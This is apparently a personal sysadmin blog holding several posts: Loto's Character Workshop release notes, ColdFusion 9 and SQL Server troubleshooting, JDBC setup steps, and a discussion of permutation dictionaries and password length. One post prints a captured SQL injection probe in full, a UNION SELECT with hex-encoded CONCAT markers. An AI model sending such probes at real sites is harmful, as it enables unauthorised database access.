FINALLY, after nearly 5 months of waiting, my Wicked Lasers Arctic S3 arrived.

and of course, most importantly...

laser at night

more pics!

Loto's Character Workshop 1.106.0

Welcome to Version 1.106 of Loto's Character Workshop.

Updates: Celtic Dual styles have been updated with the to-hit bonus and growth rate changes made in DAoC 1.106

Bug Fixes: The InternetOpenURL runtime error has been resolved. In addition to the bug fix, new installers have been compiled containing the latest build of the workshop (1.106), you can find them on the downloads page.

Notes: Vista and Win7 users, you still need to run the workshop as administrator if you have installed the workshop to its default home in C:\Program Files

Latest garbage "CONCAT(0x5F5F7A666A70687073716C5F5F..."

I saw this come through one of our servers this weekend and found it somewhat curious. Of course none of the attempts actually succeeded :)

view plain print about
1and 1=2 union select CONCAT(0x5F5F7A666A70687073716C5F5F,1,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,2,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,3,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,4,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,5,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,6,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,7,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,8,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,9,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,10,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,11,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,12,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,13,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,14,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,15,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,16,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,17,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,18,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,19,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,20,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,21,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,22,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,23,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,24,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,25,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,26,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,27,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,28,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,29,0x5F5F7A666A70687073716C5F5F) and ''='

The recurring item here is:


going further we have:


that decodes to



we're back!

Replacement parts have been installed and we are back. I apologize for the outage and the issues with the Workshop that it caused. I've had the new patch ready to go since the day of the failure but I'm going to plan to release it tomorrow after I've reworked the auto-update system of the Workshop so in the case that an outage like this happens again (I know it won't as I'm knocking on thinly veneered wood) the Workshop will remain operational.

ColdFusion 9.01 Yeah Baby!

This had to be the smoothest upgrade yet. Total outage was less than 2 minutes and we're running 9.01. Bring on the clouds!

SQL - The package path referenced an object that cannot be found

What do you do when you see this error in SQL Server 2005?

Look further down the error message and you may notice something like this... "Could not set \Package\Job.Disable value to false"

This is usually caused by the dynamic linked library (dll) dts.dll becoming unregistered. Whether due to an in-place upgrade or service pack install, even some hot fixes may cause this. Never fear though - crack open a DOS prompt or Start->Run and issue the following command

regsvr32 dts.dll

You should receive a message from the OS stating that the dll was successfully registered. Try to run your job again and you should find that it runs this time.

Coldfusion 9 and Empty result set queries - Part 2


I must say I'm a bit perturbed by what I found in researching this problem. I also need to make a clarification in my test code, I over simplified the simple query. If you were to run that query, after setting up the table, you would find that it does indeed work and you'd be saying "that guy's crazy, it works fine!" The problem comes in when records are eliminated due to aggregation, GROUP BY and such.

The following two links will be of help.

Adobe forum where it's being discussed:

More importantly, the bug tracker entry.

Notice how they list this as a BENIGN problem and that there is a work around. Benign my ass! I urge everyone to go to the bug tracker and VOTE for this to be fixed.

So, for the work around? One acceptable temporary (IMO) solution is to set up a JDBC DSN to connect to your SQL Server database. In my case I needed a 2008 JDBC driver.

This brings me to another sore point with information on the internet. Far too often I've seen "helpful" people post solutions to problems only to gloss over 90% of the information used to FIX it. Not everyone is born with the knowledge to construct a JDBC connection string, or the ability to pull a driver class out of their ass. So here's my contribution to the half-assed help pile.

This will help those using Coldfusion 9.0

Microsoft JDBC 2.0 and 3.0 driver links.


  1. Download one of those two, which ever you want. I'm using 3.0
  2. Extract to a directory, any will do we're going to move the files when we're done anyway
  3. Now, if you're using 3.0 you will find, buried in the directory structure that just extracted, two files
    • sqljdbc.jar
    • sqljdbc4.jar
    Only use ONE of these, for CF 9 you will want to use sqljdbc4.jar
  4. Copy the sqljdbc4.jar to
    • cf_root/cfusion/lib (server configuration)
    • cf_webapp_root/WEB-INF/cfusion/lib (multiserver or J2EE configuration).
    I'm using Multiserver for this example so I put it in
    • "Z:\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\"

Now, you will need to log in to the CF Administrator and create a new datasource.

  1. Give it a name,
  2. and then select "OTHER" from the drop down list
  3. and click ADD
  4. Now for a JDBC URL, if you're super leet you don't need me to tell you, but for those "lamers" out there here's the JDBC URL that should get you by.
    jdbc:sqlserver://server name;databaseName=database name
    If you happen to be running multiple instances of SQL Server or are on a different port then this should work for you
    jdbc:sqlserver://server name/instance name:port number;databaseName=database name
  5. Driver Class will be
  6. Driver Name (you can name it whatever you want) SQL Server 2008 JDBC
  7. Username: database user name
  8. Password: database user password

The driver works great so far. If I run into any idiosyncrasies I'll post about it!

Coldfusion 9 and Empty result set queries

I've run into an interesting problem on one of our CF 9 servers. Here's the skinny, there's some code that looks like

view plain print about
1<cfquery name="qryInfo" datasource="myDB">
2 SELECT name
3 FROM actors
4 WHERE id = <cfqueryparam value="#arguments.actorID#" cfsqltype="cf_sql_integer" />
7<cfif qryInfo.recordCount>
9<!--- do something here --->

Now this is obviously a much more simplified (not to mention completely different data/tables/etc from what the real system is doing) this is just an example.

This code works as you would expect, the query executes and returns some data, the IF block does its thing and all is well, right? Unless the query doesn't return anything. Now in past versions of CF this has never been a problem, an empty query object is returned and again, all is well.

The problem I've encountered on one of our CF 9 servers is this: If the query returns nothing, the IF block fails stating that recordcount is undefined in qryInfo. If I dump qryInfo, the same error: "qryInfo is undefined"

I created some test code and placed it on another CF 9 server in the center and it works as expected, no error, just an empty query object. How bizarre I say! The only difference I've been able to see is that one box (the one that flips out) is 64 bit, and the other (the one that plays nice) is 32 bit.

This warrants further testing and investigation. I'll keep you posted.

Tested on another CF 9 x64 server and it works just fine. Maybe the install is borked?


Ok, so maybe I'm obsessing a bit but I just couldn't help myself. I have created a... 1TB (yes that's terabyte) database on my home PC. Not only is the database itself 1TB but there is also a 500GB log file and 500GB tempdb (all pre-grown) to total 2TB of database goodness.

Now, why the madness you ask?

If you read the two previous posts, those probably have something to do with it. You see my web server ran out of space trying to do this little exercise so I had to change venue. To date I have generated permutations of strings from 1 to 6 characters in length to total a a staggering

2,238,976,116 rows of data. (yes that's billion with a B)

How long does a query take to execute? Oh, just a few milliseconds. The first query against the data took about 23 seconds, not bad considering this is on what is classified as a "home PC" sporting a quad core 2.8GHz processor with 8GB of RAM and a 7TB RAID 5 on 6 disks. After the query plan is cached, it takes merely the blink of an eye to return a word from the dictionary.

To populate this table took an ever increasing amount of time. The first strings of length 1 to 4 took from only a blink to just under 30 seconds. 5 characters took just over 9 minutes with 6 characters pushing 13 hours.

What's next? Why 7 character strings of course, that will put this at over 70 billion rows and pushing 600GB of data space.

Dictionaries Continued...

One word of caution, if you decide to actually generate a dictionary, you will need loads of disk space. Let's do some math!

In order to calculate the number of permutations you need the follow information:

  1. How large is your base set (alphabet in our case) for this example that I've laid out that number would be 36, 26 letters and 10 numbers
  2. How long is the string you are constructing?

Knowing this information, we can plug this into the formula nr where n = base set size and r = length of string to construct. You can see how this can get out of control quite quickly :)

Here is a list containing the number of permutations for a given string length from 1 to 10

  1. 36
  2. 1296
  3. 46656
  4. 1679616
  5. 60466176
  6. 2176782336
  7. 78364164096
  8. 2821109907456
  9. 101559956668416
  10. 3.65615844006298e+15 (big damn number)

Let's take this a step further. If we are going to store the permutations we need to know how much disk space we're going to need. In order to get a rough estimate let's assume we are going to store this as non-unicode data so 1 byte per character. That would give a result of 548,549,148,672 bytes (548 GB) to store all of the permutations of a 7 character string! How much for 10 you say?

3.65615844006298e+15 * 10 = 3.65615844006298e+16 bytes so that gives us 36.5 Petabytes :)

This brings us to the question, how long of a password is good enough to escape most brute force attacks? It depends on who your attacker is, but if you look at the data it would take quite awhile to produce let alone process a list of passwords longer than 6 characters. Keep in mind however that most dictionaries are just that, dictionaries containing all words in a given language so don't choose something that's in one! ever! and you might just be ok, then again...maybe not :)

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